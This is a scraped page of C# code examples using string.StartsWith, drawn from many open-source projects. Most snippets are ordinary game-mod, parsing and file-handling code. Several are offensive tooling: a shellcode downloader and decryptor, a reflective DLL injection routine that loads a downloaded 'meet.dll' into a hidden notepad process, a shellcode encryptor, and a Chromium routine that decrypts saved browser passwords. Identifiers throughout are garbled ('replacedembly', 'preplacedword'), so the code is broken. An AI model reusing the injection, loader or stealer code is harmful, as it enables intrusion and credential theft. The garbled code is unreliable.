Here are the examples of the csharp api string.StartsWith(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
13327 Examples
19
View Source File : Helper.cs
License : MIT License
Project Creator : 0ffffffffh
License : MIT License
Project Creator : 0ffffffffh
public static Dictionary<string, string> ParseOptions(string s)
{
Dictionary<string, string> argDict = new Dictionary<string, string>();
string tmp = "";
bool putTmp = false;
string opt = null;
if (string.IsNullOrEmpty(s))
return argDict;
string[] breaks = s.Split(' ');
foreach (string item in breaks)
{
if (item.StartsWith("\""))
{
tmp = item;
putTmp = true;
}
else if (item.EndsWith("\""))
{
putTmp = false;
if (opt != null)
{
argDict.Add(opt, tmp + item);
opt = null;
}
else
argDict.Add(tmp + item, "");
tmp = "";
}
else
{
if (putTmp)
tmp += item;
else
{
var value = item.Trim();
if (value.Length > 0)
{
if (value.StartsWith("-"))
{
if (opt != null)
{
argDict.Add(opt, "");
}
opt = value;
}
else
{
if (opt != null)
{
argDict.Add(opt, value);
opt = null;
}
else
argDict.Add(value, "");
}
}
}
}
}
if (opt != null)
argDict.Add(opt, "");
breaks = null;
return argDict;
}
19
View Source File : GhostEmote.cs
License : MIT License
Project Creator : 0x0ade
License : MIT License
Project Creator : 0x0ade
public static Atlas GetIconAtlas(ref string emote) {
if (emote.StartsWith("i:")) {
emote = emote.Substring(2);
return GFX.Gui ?? FallbackIconAtlas;
}
if (emote.StartsWith("g:")) {
emote = emote.Substring(2);
return GFX.Game ?? FallbackIconAtlas;
}
if (emote.StartsWith("p:")) {
emote = emote.Substring(2);
return GFX.Portraits ?? FallbackIconAtlas;
}
return null;
}
19
View Source File : SqliteUserData.cs
License : MIT License
Project Creator : 0x0ade
License : MIT License
Project Creator : 0x0ade
public override void CopyTo(UserData other) {
using UserDataBatchContext batchOther = other.OpenBatch();
using UserDataBatchContext batch = OpenBatch();
lock (GlobalLock) {
MiniCommand mini = new(this);
mini.Next(new() {
SqliteOpenMode.ReadOnly,
$@"
SELECT uid, key, keyfull, registered
FROM meta;
"
});
(SqliteConnection con, SqliteCommand cmd, SqliteDataReader reader) = mini.Read();
List<string> uids = new();
while (reader.Read())
other.Insert(reader.GetString(0), reader.GetString(1), reader.GetString(2), reader.GetBoolean(3));
foreach (string table in GetAllTables()) {
bool data = table.StartsWith("data.");
bool file = table.StartsWith("file.");
if (!data && !file)
continue;
mini.Next(new() {
SqliteOpenMode.ReadOnly,
$@"
SELECT uid, value
FROM [{table}];
",
});
(con, cmd, reader) = mini.Read();
if (data) {
using MiniCommand miniName = new(this) {
mini.Connection,
SqliteOpenMode.ReadOnly,
@"
SELECT real, format, type
FROM data
WHERE name = $name;
",
{ "$name", table }
};
(_, _, SqliteDataReader readerName) = miniName.Read();
miniName.Add((SqliteConnection?) null);
if (!readerName.Read())
continue;
string name = readerName.GetString(0);
string typeName = readerName.GetString(1);
Type? type = Type.GetType(typeName);
while (reader.Read()) {
string uid = reader.GetString(0);
switch ((DataFormat) reader.GetInt32(1)) {
case DataFormat.MessagePack:
default: {
if (type == null) {
// TODO: Cannot transform data from MessagePack to Yaml!
} else {
using Stream stream = reader.GetStream(2);
object? value = MessagePackSerializer.Deserialize(type, stream, MessagePackHelper.Options);
using MemoryStream ms = new();
using StreamWriter msWriter = new(ms);
YamlHelper.Serializer.Serialize(msWriter, value);
ms.Seek(0, SeekOrigin.Begin);
other.InsertData(uid, name, type, ms);
}
break;
}
case DataFormat.Yaml: {
using Stream stream = reader.GetStream(2);
other.InsertData(uid, name, type, stream);
break;
}
}
}
} else if (file) {
using MiniCommand miniName = new(this) {
mini.Connection,
SqliteOpenMode.ReadOnly,
@"
SELECT real
FROM file
WHERE name = $name;
",
{ "$name", table }
};
(_, _, SqliteDataReader readerName) = miniName.Read();
miniName.Add((SqliteConnection?) null);
if (!readerName.Read())
continue;
string name = readerName.GetString(0);
while (reader.Read()) {
string uid = reader.GetString(0);
using Stream stream = reader.GetStream(1);
other.InsertFile(uid, name, stream);
}
} else {
// ??
}
}
}
}
19
View Source File : CelesteNetClientSettings.cs
License : MIT License
Project Creator : 0x0ade
License : MIT License
Project Creator : 0x0ade
public void CreateNameEntry(TextMenu menu, bool inGame) {
string name = Name;
if (name.StartsWith("#"))
name = "########";
menu.Add(
(NameEntry = new TextMenu.Button(("modoptions_celestenetclient_name".DialogClean()).Replace("((name))", name)))
.Pressed(() => {
Audio.Play("event:/ui/main/savefile_rename_start");
menu.SceneAs<Overworld>().Goto<OuiModOptionString>().Init<OuiModOptions>(
Name,
v => Name = v,
maxValueLength: 20
);
})
);
NameEntry.Disabled = inGame || Connected;
}
19
View Source File : CelesteNetPlayerSession.cs
License : MIT License
Project Creator : 0x0ade
License : MIT License
Project Creator : 0x0ade
public void Start<T>(DataHandshakeClient<T> handshake) where T : DataHandshakeClient<T> {
Logger.Log(LogLevel.INF, "playersession", $"Startup #{ID} {Con}");
using (Server.ConLock.W())
Server.Sessions.Add(this);
Server.PlayersByCon[Con] = this;
Server.PlayersByID[ID] = this;
if (Server.UserData.TryLoad(UID, out BanInfo ban) && !ban.Reason.IsNullOrEmpty()) {
Con.Send(new DataDisconnectReason { Text = string.Format(Server.Settings.MessageIPBan, ban.Reason) });
Con.Send(new DataInternalDisconnect());
return;
}
string name = handshake.Name;
if (name.StartsWith("#")) {
string uid = Server.UserData.GetUID(name.Substring(1));
if (uid.IsNullOrEmpty()) {
Con.Send(new DataDisconnectReason { Text = Server.Settings.MessageInvalidUserKey });
Con.Send(new DataInternalDisconnect());
return;
}
UID = uid;
if (!Server.UserData.TryLoad(uid, out BasicUserInfo userinfo)) {
Con.Send(new DataDisconnectReason { Text = Server.Settings.MessageUserInfoMissing });
Con.Send(new DataInternalDisconnect());
return;
}
name = userinfo.Name.Sanitize(IllegalNameChars, true);
if (name.Length > Server.Settings.MaxNameLength)
name = name.Substring(0, Server.Settings.MaxNameLength);
if (name.IsNullOrEmpty())
name = "Ghost";
if (Server.UserData.TryLoad(UID, out ban) && !ban.Reason.IsNullOrEmpty()) {
Con.Send(new DataDisconnectReason { Text = string.Format(Server.Settings.MessageBan, name, ban.Reason) });
Con.Send(new DataInternalDisconnect());
return;
}
} else {
if (Server.Settings.AuthOnly) {
Con.Send(new DataDisconnectReason { Text = Server.Settings.MessageAuthOnly });
Con.Send(new DataInternalDisconnect());
return;
}
name = name.Sanitize(IllegalNameChars);
if (name.Length > Server.Settings.MaxGuestNameLength)
name = name.Substring(0, Server.Settings.MaxGuestNameLength);
if (name.IsNullOrEmpty())
name = "Guest";
}
if (name.Length > Server.Settings.MaxNameLength)
name = name.Substring(0, Server.Settings.MaxNameLength);
string nameSpace = name;
name = name.Replace(" ", "");
string fullNameSpace = nameSpace;
string fullName = name;
using (Server.ConLock.R()) {
int i = 1;
while (true) {
bool conflict = false;
foreach (CelesteNetPlayerSession other in Server.Sessions)
if (conflict = other.PlayerInfo?.FullName == fullName)
break;
if (!conflict)
break;
i++;
fullNameSpace = $"{nameSpace}#{i}";
fullName = $"{name}#{i}";
}
}
string displayName = fullNameSpace;
using (Stream? avatar = Server.UserData.ReadFile(UID, "avatar.png")) {
if (avatar != null) {
AvatarEmoji = new() {
ID = $"celestenet_avatar_{ID}_",
Data = avatar.ToBytes()
};
displayName = $":{AvatarEmoji.ID}: {fullNameSpace}";
}
}
DataPlayerInfo playerInfo = new() {
ID = ID,
Name = name,
FullName = fullName,
DisplayName = displayName
};
playerInfo.Meta = playerInfo.GenerateMeta(Server.Data);
Server.Data.SetRef(playerInfo);
Logger.Log(LogLevel.INF, "playersession", playerInfo.ToString());
Con.Send(new DataHandshakeServer {
PlayerInfo = playerInfo
});
Con.Send(AvatarEmoji);
DataInternalBlob? blobPlayerInfo = DataInternalBlob.For(Server.Data, playerInfo);
DataInternalBlob? blobAvatarEmoji = DataInternalBlob.For(Server.Data, AvatarEmoji);
using (Server.ConLock.R())
foreach (CelesteNetPlayerSession other in Server.Sessions) {
if (other == this)
continue;
DataPlayerInfo? otherInfo = other.PlayerInfo;
if (otherInfo == null)
continue;
other.Con.Send(blobPlayerInfo);
other.Con.Send(blobAvatarEmoji);
Con.Send(otherInfo);
Con.Send(other.AvatarEmoji);
foreach (DataType bound in Server.Data.GetBoundRefs(otherInfo))
if (!bound.Is<MetaPlayerPrivateState>(Server.Data) || other.Channel.ID == 0)
Con.Send(bound);
}
ResendPlayerStates();
Server.InvokeOnSessionStart(this);
}
19
View Source File : BinaryFormatterHelper.cs
License : zlib License
Project Creator : 0x0ade
License : zlib License
Project Creator : 0x0ade
public override Type BindToType(string replacedemblyName, string typeName) {
if (replacedemblyName != "Microsoft.Xna.Framework" && !replacedemblyName.StartsWith("Microsoft.Xna.Framework,") && !replacedemblyName.StartsWith("Microsoft.Xna.Framework."))
return Inner?.BindToType(replacedemblyName, typeName);
return FNA.GetType(typeName);
}
19
View Source File : Frontend.cs
License : MIT License
Project Creator : 0x0ade
License : MIT License
Project Creator : 0x0ade
public Stream? OpenContent(string path, out string pathNew, out DateTime? lastMod, out string? contentType) {
pathNew = path;
try {
string dir = Path.GetFullPath(Settings.ContentRoot);
string pathFS = Path.GetFullPath(Path.Combine(dir, path));
if (pathFS.StartsWith(dir) && File.Exists(pathFS)) {
lastMod = File.GetLastWriteTimeUtc(pathFS);
contentType = GetContentType(pathFS);
return File.OpenRead(pathFS);
}
} catch {
}
#if DEBUG
try {
string dir = Path.GetFullPath(Path.Combine("..", "..", "..", "Content"));
string pathFS = Path.GetFullPath(Path.Combine(dir, path));
if (pathFS.StartsWith(dir) && File.Exists(pathFS)) {
lastMod = File.GetLastWriteTimeUtc(pathFS);
contentType = GetContentType(pathFS);
return File.OpenRead(pathFS);
}
} catch {
}
try {
string dir = Path.GetFullPath(Path.Combine("..", "..", "..", "..", "CelesteNet.Server.FrontendModule", "Content"));
string pathFS = Path.GetFullPath(Path.Combine(dir, path));
if (pathFS.StartsWith(dir) && File.Exists(pathFS)) {
lastMod = File.GetLastWriteTimeUtc(pathFS);
contentType = GetContentType(pathFS);
return File.OpenRead(pathFS);
}
} catch {
}
#endif
if (!path.EndsWith("/index.html")) {
path = path.EndsWith("/") ? path : (path + "/");
Stream? index = OpenContent(path + "index.html", out _, out lastMod, out contentType);
if (index != null) {
pathNew = path;
return index;
}
}
lastMod = null;
contentType = GetContentType(path);
return typeof(CelesteNetServer).replacedembly.GetManifestResourceStream("Celeste.Mod.CelesteNet.Server.Content." + path.Replace("/", "."));
}
19
View Source File : patch_DuckFile.cs
License : MIT License
Project Creator : 0x0ade
License : MIT License
Project Creator : 0x0ade
public static void Initialize() {
orig_Initialize();
string prefix = _saveRoot + _saveDirectory;
foreach (string path in _allPaths) {
if (path.StartsWith(prefix))
Directory.CreateDirectory(path);
else
Directory.CreateDirectory(prefix + path);
}
}
19
View Source File : XnaToFnaModder.cs
License : zlib License
Project Creator : 0x0ade
License : zlib License
Project Creator : 0x0ade
public override void Log(string text) {
// MapDependency clutters the output too much; It's useful for MonoMod itself, but not here.
if (text.StartsWith("[MapDependency]"))
return;
XTF.Log("[MonoMod] " + text);
}
19
View Source File : XnaToFnaUtil.Processor.cs
License : zlib License
Project Creator : 0x0ade
License : zlib License
Project Creator : 0x0ade
public void SetupHooks() {
// To use XnaToFnaGame properly, the actual game override needs to call XnaToFnaGame::.ctor as "base" instead.
Modder.RelinkMap["System.Void Microsoft.Xna.Framework.Game::.ctor()"] =
new RelinkMapEntry("XnaToFna.XnaToFnaGame", "System.Void .ctor()");
Modder.ForceCallMap["System.Void XnaToFna.XnaToFnaGame::.ctor()"] = OpCodes.Call;
foreach (MethodInfo method in typeof(XnaToFnaGame).GetMethods(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.DeclaredOnly)) {
Modder.RelinkMap[method.GetFindableID(type: "Microsoft.Xna.Framework.Game")] =
new RelinkMapEntry("XnaToFna.XnaToFnaGame", method.GetFindableID(withType: false));
Modder.ForceCallMap[method.GetFindableID(withType: true)] = OpCodes.Call;
}
// XNA games expect a WinForms handle. Give it a "proxy" handle instead.
if (HookCompat) {
Modder.RelinkMap["System.IntPtr Microsoft.Xna.Framework.GameWindow::get_Handle()"] =
new RelinkMapEntry("XnaToFna.XnaToFnaHelper", "System.IntPtr GetProxyFormHandle(Microsoft.Xna.Framework.GameWindow)");
}
// X360 games can be larger than the screen. Allow the user to "fix" this by forcing a display resolution via env vars.
if (HookHacks) {
Modder.RelinkMap["System.Void Microsoft.Xna.Framework.GraphicsDeviceManager::ApplyChanges()"] =
new RelinkMapEntry("XnaToFna.XnaToFnaHelper", "System.Void ApplyChanges(Microsoft.Xna.Framework.GraphicsDeviceManager)");
}
// Let's just completely wreck everything.
foreach (Type type in typeof(Form).replacedembly.GetTypes()) {
string name = type.FullName;
// Subsreplacedute WinForms for ProxyForms
if (HookCompat && name.StartsWith("XnaToFna.ProxyForms."))
Modder.RelinkMap["System.Windows.Forms." + name.Substring(9 + 11)] = name;
// Subsreplacedute common Drawing clreplacedes (f.e. Rectangle) with our own for Drawing-less environments (f.e. Android)
else if (HookCompat && name.StartsWith("XnaToFna.ProxyDrawing."))
Modder.RelinkMap["System.Drawing." + name.Substring(9 + 13)] = name;
// Some XNA games use DInput... let's just subsreplacedute all DInput references with our ProxyDInput.
else if (name.StartsWith("XnaToFna.ProxyDInput."))
Modder.RelinkMap[/* no namespace */ name.Substring(9 + 12)] = name;
// Some X360 games use Microsoft.Xna.Framework.Xdk; let's just stub whatever's required in XTF.
else if (name.StartsWith("XnaToFna.StubXDK.")) {
string nameXDK = "Microsoft.Xna.Framework." + name.Substring(9 + 8);
Modder.RelinkMap[nameXDK] = name;
// Unfortunately, the signatures refer to GamerServices, while XnaToFna itself can't refer to that.
// Let's abuse the MonoModHook attribtue.
foreach (MethodInfo method in type.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static)) {
MonoModHook hook = method.GetCustomAttribute<MonoModHook>();
if (hook != null) {
Modder.RelinkMap[hook.FindableID] = new RelinkMapEntry(name, method.GetFindableID(withType: false));
}
}
foreach (ConstructorInfo ctor in type.GetConstructors(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static)) {
MonoModHook hook = ctor.GetCustomAttribute<MonoModHook>();
if (hook != null) {
Modder.RelinkMap[hook.FindableID] = new RelinkMapEntry(name, ctor.GetFindableID(withType: false));
}
}
}
}
if (HookHacks)
Modder.RelinkMap["System.Boolean Microsoft.Xna.Framework.GamerServices.Guide::get_IsTrialMode()"] =
new RelinkMapEntry("XnaToFna.XnaToFnaHelper", "System.IntPtr get_IsTrialMode()");
if (HookBinaryFormatter) {
Modder.RelinkMap["System.Void System.Runtime.Serialization.Formatters.Binary.BinaryFormatter::.ctor()"] =
new RelinkMapEntry("XnaToFna.BinaryFormatterHelper", "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter Create()");
// The longest relink mapping ever seen...
Modder.RelinkMap["System.Void System.Runtime.Serialization.Formatters.Binary.BinaryFormatter::.ctor(System.Runtime.Serialization.ISurrogateSelector,System.Runtime.Serialization.StreamingContext)"] =
new RelinkMapEntry("XnaToFna.BinaryFormatterHelper", "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter Create(System.Runtime.Serialization.ISurrogateSelector,System.Runtime.Serialization.StreamingContext)");
Modder.RelinkMap["System.Runtime.Serialization.SerializationBinder System.Runtime.Serialization.Formatters.Binary.BinaryFormatter::get_Binder()"] =
new RelinkMapEntry("XnaToFna.BinaryFormatterHelper", "System.Runtime.Serialization.SerializationBinder get_Binder(System.Runtime.Serialization.Formatters.Binary.BinaryFormatter)");
Modder.RelinkMap["System.Void System.Runtime.Serialization.Formatters.Binary.BinaryFormatter::set_Binder(System.Runtime.Serialization.SerializationBinder)"] =
new RelinkMapEntry("XnaToFna.BinaryFormatterHelper", "System.Void set_Binder(System.Runtime.Serialization.Formatters.Binary.BinaryFormatter,System.Runtime.Serialization.SerializationBinder)");
}
if (HookReflection) {
Modder.RelinkMap["System.Reflection.FieldInfo System.Type::GetField(System.String,System.Reflection.BindingFlags)"] =
new RelinkMapEntry("XnaToFna.ProxyReflection.FieldInfoHelper", "System.Reflection.FieldInfo GetField(System.Type,System.String,System.Reflection.BindingFlags)");
Modder.RelinkMap["System.Reflection.FieldInfo System.Type::GetField(System.String)"] =
new RelinkMapEntry("XnaToFna.ProxyReflection.FieldInfoHelper", "System.Reflection.FieldInfo GetField(System.Type,System.String)");
}
// X360 uses the ".NET Compact Framework", which actually ships with some additional stuff...
Modder.RelinkMap["System.Void System.Threading.Thread::SetProcessorAffinity(System.Int32[])"] =
new RelinkMapEntry("XnaToFna.X360Helper", "System.Void SetProcessorAffinity(System.Threading.Thread,System.Int32[])");
}
19
View Source File : Program.cs
License : MIT License
Project Creator : 0x1000000
License : MIT License
Project Creator : 0x1000000
public static IReadOnlyList<NodeModel> BuildModelRoslyn(string projectFolder)
{
List<NodeModel> result = new List<NodeModel>();
var files = Directory.EnumerateFiles(Path.Combine(projectFolder, "Syntax"), "*.cs", SearchOption.AllDirectories);
files = files.Concat(Directory.EnumerateFiles(projectFolder, "IExpr*.cs"));
var trees = files.Select(f => CSharpSyntaxTree.ParseText(File.ReadAllText(f))).ToList();
var cSharpCompilation = CSharpCompilation.Create("Syntax", trees);
foreach (var tree in trees)
{
var semantic = cSharpCompilation.GetSemanticModel(tree);
foreach (var clreplacedDeclarationSyntax in tree.GetRoot().DescendantNodesAndSelf().OfType<ClreplacedDeclarationSyntax>())
{
var clreplacedSymbol = semantic.GetDeclaredSymbol(clreplacedDeclarationSyntax);
var isSuitable = clreplacedSymbol != null
&& !clreplacedSymbol.IsAbstract
&& clreplacedSymbol.DeclaredAccessibility == Accessibility.Public
&& IsExpr(clreplacedSymbol)
&& clreplacedSymbol.Name.StartsWith("Expr");
if (!isSuitable)
{
continue;
}
var properties = GetProperties(clreplacedSymbol);
var subNodes = new List<SubNodeModel>();
var modelProps = new List<SubNodeModel>();
foreach (var constructor in clreplacedSymbol.Constructors)
{
foreach (var parameter in constructor.Parameters)
{
INamedTypeSymbol pType = (INamedTypeSymbol)parameter.Type;
var correspondingProperty = properties.FirstOrDefault(prop =>
string.Equals(prop.Name,
parameter.Name,
StringComparison.CurrentCultureIgnoreCase));
if (correspondingProperty == null)
{
throw new Exception(
$"Could not find a property for the constructor arg: '{parameter.Name}'");
}
var ta = replacedyzeSymbol(ref pType);
var subNodeModel = new SubNodeModel(correspondingProperty.Name,
parameter.Name,
pType.Name,
ta.ListName,
ta.IsNullable,
ta.HostTypeName);
if (ta.Expr)
{
subNodes.Add(subNodeModel);
}
else
{
modelProps.Add(subNodeModel);
}
}
}
result.Add(new NodeModel(clreplacedSymbol.Name,
modelProps.Count == 0 && subNodes.Count == 0,
subNodes,
modelProps));
}
}
result.Sort((a, b) => string.CompareOrdinal(a.TypeName, b.TypeName));
return result;
bool IsExpr(INamedTypeSymbol symbol)
{
if (symbol.Name == "IExpr")
{
return true;
}
while (symbol != null)
{
if (symbol.Interfaces.Any(HasA))
{
return true;
}
symbol = symbol.BaseType;
}
return false;
bool HasA(INamedTypeSymbol iSym)
{
if (iSym.Name == "IExpr")
{
return true;
}
return IsExpr(iSym);
}
}
List<ISymbol> GetProperties(INamedTypeSymbol symbol)
{
List<ISymbol> result = new List<ISymbol>();
while (symbol != null)
{
result.AddRange(symbol.GetMembers().Where(m => m.Kind == SymbolKind.Property));
symbol = symbol.BaseType;
}
return result;
}
Symbolreplacedysis replacedyzeSymbol(ref INamedTypeSymbol typeSymbol)
{
string listName = null;
string hostType = null;
if (typeSymbol.ContainingType != null)
{
var host = typeSymbol.ContainingType;
hostType = host.Name;
}
var nullable = typeSymbol.NullableAnnotation == NullableAnnotation.Annotated;
if (nullable && typeSymbol.Name == "Nullable")
{
typeSymbol = (INamedTypeSymbol)typeSymbol.TypeArguments.Single();
}
if (typeSymbol.IsGenericType)
{
if (typeSymbol.Name.Contains("List"))
{
listName = typeSymbol.Name;
}
if (typeSymbol.Name == "Nullable")
{
nullable = true;
}
typeSymbol = (INamedTypeSymbol)typeSymbol.TypeArguments.Single();
}
return new Symbolreplacedysis(nullable, listName, IsExpr(typeSymbol), hostType);
}
}
19
View Source File : Program.cs
License : MIT License
Project Creator : 0x1000000
License : MIT License
Project Creator : 0x1000000
private static string TypeTag(string typeName)
{
if (!typeName.StartsWith("Expr"))
{
throw new Exception("Incorrect typename prefix");
}
return typeName.Substring(4);
}
19
View Source File : Program.cs
License : MIT License
Project Creator : 0xDivyanshu
License : MIT License
Project Creator : 0xDivyanshu
static byte[] downloaded_data(string location, int encryption, string preplacedword)
{
byte[] shellcode;
if (location.StartsWith("http") || location.StartsWith("\\"))
{
WebClient wc = new WebClient();
string url = location;
shellcode = wc.DownloadData(url);
}
else
{
shellcode = File.ReadAllBytes(location);
}
if (encryption != 0)
{
if (encryption == 1)
{
// xor encryption used
byte[] decode_shellcode = xor_decryption(shellcode, preplacedword);
return decode_shellcode;
}
else if (encryption == 2)
{
byte[] decoded_shellcode = aes_decryption(shellcode, preplacedword);
return decoded_shellcode;
}
}
return shellcode;
}
19
View Source File : Program.cs
License : MIT License
Project Creator : 0xDivyanshu
License : MIT License
Project Creator : 0xDivyanshu
static int reflective_dll_injection(string location)
{
Process[] remote_p = Process.GetProcessesByName("notepad");
int pid = 0;
if (remote_p.Length == 0)
{
//Create Process
Process p = new Process();
p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();
pid = p.Id;
}
else
{
pid = remote_p[0].Id;
}
String dllName = "";
if (location.StartsWith("http"))
{
WebClient wc = new WebClient();
wc.DownloadFile(location, "C:\\Windows\\Temp\\meet.dll");
dllName = "C:\\Windows\\Temp\\meet.dll";
}
else
{
dllName = location;
}
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
IntPtr address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr bytes = IntPtr.Zero;
bool res = WriteProcessMemory(hProcess, address, Encoding.Default.GetBytes(dllName), dllName.Length, out bytes);
if (res == false)
{
Console.WriteLine("Cannot copy into process");
return -1;
}
IntPtr load_addr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CreateRemoteThread(hProcess, IntPtr.Zero, 0, load_addr, address, 0, IntPtr.Zero);
return 0;
}
19
View Source File : Chromium.cs
License : GNU General Public License v3.0
Project Creator : 0xfd3
License : GNU General Public License v3.0
Project Creator : 0xfd3
private static List<Account> Accounts(string path, string browser, string table = "logins")
{
//Get all created profiles from browser path
List<string> loginDataFiles = GetAllProfiles(path);
List<Account> data = new List<Account>();
foreach (string loginFile in loginDataFiles.ToArray())
{
if (!File.Exists(loginFile))
continue;
SQLiteHandler SQLDatabase;
try
{
SQLDatabase = new SQLiteHandler(loginFile); //Open database with Sqlite
}
catch (System.Exception ex)
{
Console.WriteLine(ex.ToString());
continue;
}
if (!SQLDatabase.ReadTable(table))
continue;
for (int I = 0; I <= SQLDatabase.GetRowCount() - 1; I++)
{
try
{
//Get values with row number and column name
string host = SQLDatabase.GetValue(I, "origin_url");
string username = SQLDatabase.GetValue(I, "username_value");
string preplacedword = SQLDatabase.GetValue(I, "preplacedword_value");
if (preplacedword != null)
{
//check v80 preplacedword signature. its starting with v10 or v11
if (preplacedword.StartsWith("v10") || preplacedword.StartsWith("v11"))
{
//Local State file located in the parent folder of profile folder.
byte[] masterKey = GetMasterKey(Directory.GetParent(loginFile).Parent.FullName);
if (masterKey == null)
continue;
preplacedword = DecryptWithKey(Encoding.Default.GetBytes(preplacedword), masterKey);
}
else
preplacedword = Decrypt(preplacedword); //Old versions using UnprotectData for decryption without any key
}
else
continue;
if (!string.IsNullOrEmpty(host) && !string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(preplacedword))
data.Add(new Account() { URL = host, UserName = username, Preplacedword = preplacedword, Application = browser });
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
}
}
return data;
}
19
View Source File : Helper.cs
License : MIT License
Project Creator : 0xDivyanshu
License : MIT License
Project Creator : 0xDivyanshu
static void Main(string[] args)
{
if (args[0].StartsWith("-location") && args[1].StartsWith("-encrypt") && args[2].StartsWith("-preplacedword") && args[3].StartsWith("-saveTo"))
{
string location = args[0].Split('=')[1];
string algo = args[1].Split('=')[1];
string preplaced = args[2].Split('=')[1];
string writeTo = args[3].Split('=')[1];
preplaced = CreateMD5(preplaced);
byte[] shellcode;
if (location.StartsWith("http") || location.StartsWith("\\"))
{
WebClient wc = new WebClient();
string url = location;
shellcode = wc.DownloadData(url);
}
else
{
shellcode = File.ReadAllBytes(location);
}
if (algo == "aes")
{
byte[] encoded_shellcode = Encrypt(shellcode, preplaced,"1234567891234567");
File.WriteAllBytes(writeTo, encoded_shellcode);
Console.WriteLine("[+] Encrypted aes shellcode written to disk");
return;
}
else if (algo == "xor")
{
byte[] encoded_shellcode = xor_enc(shellcode, preplaced);
File.WriteAllBytes(writeTo, encoded_shellcode);
Console.WriteLine("[+] Encrypted xor shellcode written to disk");
return;
}
}
else
{
help_me();
return;
}
}
19
View Source File : Dumper.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
public async Task DumpAsync(string output)
{
// check and create output folder
var dumpPath = output;
while (!string.IsNullOrEmpty(dumpPath) && !Directory.Exists(dumpPath))
{
var parent = Path.GetDirectoryName(dumpPath);
if (parent == null || parent == dumpPath)
dumpPath = null;
else
dumpPath = parent;
}
if (filesystemStructure is null)
(filesystemStructure, emptyDirStructure) = GetFilesystemStructure();
var validators = GetValidationInfo();
if (!string.IsNullOrEmpty(dumpPath))
{
var root = Path.GetPathRoot(Path.GetFullPath(output));
var drive = DriveInfo.GetDrives().FirstOrDefault(d => d?.RootDirectory.FullName.StartsWith(root) ?? false);
if (drive != null)
{
var spaceAvailable = drive.AvailableFreeSpace;
TotalFileSize = filesystemStructure.Sum(f => f.Length);
var diff = TotalFileSize + 100 * 1024 - spaceAvailable;
if (diff > 0)
Log.Warn($"Target drive might require {diff.replacedtorageUnit()} of additional free space");
}
}
foreach (var dir in emptyDirStructure)
Log.Trace($"Empty dir: {dir}");
foreach (var file in filesystemStructure)
Log.Trace($"0x{file.StartSector:x8}: {file.Filename} ({file.Length})");
var outputPathBase = Path.Combine(output, OutputDir);
if (!Directory.Exists(outputPathBase))
Directory.CreateDirectory(outputPathBase);
TotalFileCount = filesystemStructure.Count;
TotalSectors = discReader.TotalClusters;
Log.Debug("Using decryption key: " + allMatchingKeys.First().DecryptedKeyId);
var decryptionKey = allMatchingKeys.First().DecryptedKey;
var sectorSize = (int)discReader.ClusterSize;
var unprotectedRegions = driveStream.GetUnprotectedRegions();
ValidationStatus = true;
foreach (var dir in emptyDirStructure)
{
try
{
if (Cts.IsCancellationRequested)
return;
var convertedName = Path.DirectorySeparatorChar == '\\' ? dir : dir.Replace('\\', Path.DirectorySeparatorChar);
var outputName = Path.Combine(outputPathBase, convertedName);
if (!Directory.Exists(outputName))
{
Log.Debug("Creating empty directory " + outputName);
Directory.CreateDirectory(outputName);
}
}
catch (Exception ex)
{
Log.Error(ex);
BrokenFiles.Add((dir, "Unexpected error: " + ex.Message));
}
}
foreach (var file in filesystemStructure)
{
try
{
if (Cts.IsCancellationRequested)
return;
Log.Info($"Reading {file.Filename} ({file.Length.replacedtorageUnit()})");
CurrentFileNumber++;
var convertedFilename = Path.DirectorySeparatorChar == '\\' ? file.Filename : file.Filename.Replace('\\', Path.DirectorySeparatorChar);
var inputFilename = Path.Combine(input, convertedFilename);
if (!File.Exists(inputFilename))
{
Log.Error($"Missing {file.Filename}");
BrokenFiles.Add((file.Filename, "missing"));
continue;
}
var outputFilename = Path.Combine(outputPathBase, convertedFilename);
var fileDir = Path.GetDirectoryName(outputFilename);
if (!Directory.Exists(fileDir))
{
Log.Debug("Creating directory " + fileDir);
Directory.CreateDirectory(fileDir);
}
var error = false;
var expectedHashes = (
from v in validators
where v.Files.ContainsKey(file.Filename)
select v.Files[file.Filename].Hashes
).ToList();
var lastHash = "";
var tries = 2;
do
{
try
{
tries--;
using var outputStream = File.Open(outputFilename, FileMode.Create, FileAccess.Write, FileShare.Read);
using var inputStream = File.Open(inputFilename, FileMode.Open, FileAccess.Read, FileShare.Read);
using var decrypter = new Decrypter(inputStream, driveStream, decryptionKey, file.StartSector, sectorSize, unprotectedRegions);
Decrypter = decrypter;
await decrypter.CopyToAsync(outputStream, 8 * 1024 * 1024, Cts.Token).ConfigureAwait(false);
outputStream.Flush();
var resultHashes = decrypter.GetHashes();
var resultMd5 = resultHashes["MD5"];
if (decrypter.WasEncrypted && decrypter.WasUnprotected)
Log.Debug("Partially decrypted " + file.Filename);
else if (decrypter.WasEncrypted)
Log.Debug("Decrypted " + file.Filename);
if (!expectedHashes.Any())
{
if (ValidationStatus == true)
ValidationStatus = null;
}
else if (!IsMatch(resultHashes, expectedHashes))
{
error = true;
var msg = "Unexpected hash: " + resultMd5;
if (resultMd5 == lastHash || decrypter.LastBlockCorrupted)
{
Log.Error(msg);
BrokenFiles.Add((file.Filename, "corrupted"));
break;
}
Log.Warn(msg + ", retrying");
}
lastHash = resultMd5;
}
catch (Exception e)
{
Log.Error(e, e.Message);
error = true;
}
} while (error && tries > 0 && !Cts.IsCancellationRequested);
}
catch (Exception ex)
{
Log.Error(ex);
BrokenFiles.Add((file.Filename, "Unexpected error: " + ex.Message));
}
}
Log.Info("Completed");
}
19
View Source File : IsoHeaderParser.cs
License : MIT License
Project Creator : 13xforever
License : MIT License
Project Creator : 13xforever
